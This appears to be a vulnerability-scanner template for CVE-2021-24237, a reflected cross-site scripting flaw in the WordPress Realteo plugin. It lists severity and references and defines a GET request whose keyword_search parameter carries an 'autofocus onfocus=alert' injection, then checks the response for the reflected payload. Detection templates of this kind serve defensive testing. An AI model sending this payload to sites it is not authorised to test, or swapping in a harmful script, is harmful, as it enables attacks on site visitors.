id: CVE-2021-24237

info:
  name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
  reference:
    - https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Realteo-WordPress-Plugin-v1.2.3.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24237
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Findeo-WordPress-Theme-v1.3.0.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24237
    cwe-id: CWE-79
    epss-score: 0.00284
  tags: cve,cve2021,realteo,xss,wordpress,plugin,wpscan
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "autofocus onfocus=alert(/{{randstr}}/);//"
          - "Nothing found"
        part: body
        condition: and

      - type: word
        words:
          - "text/html"
        part: header

# Enhanced by mp on 2022/09/02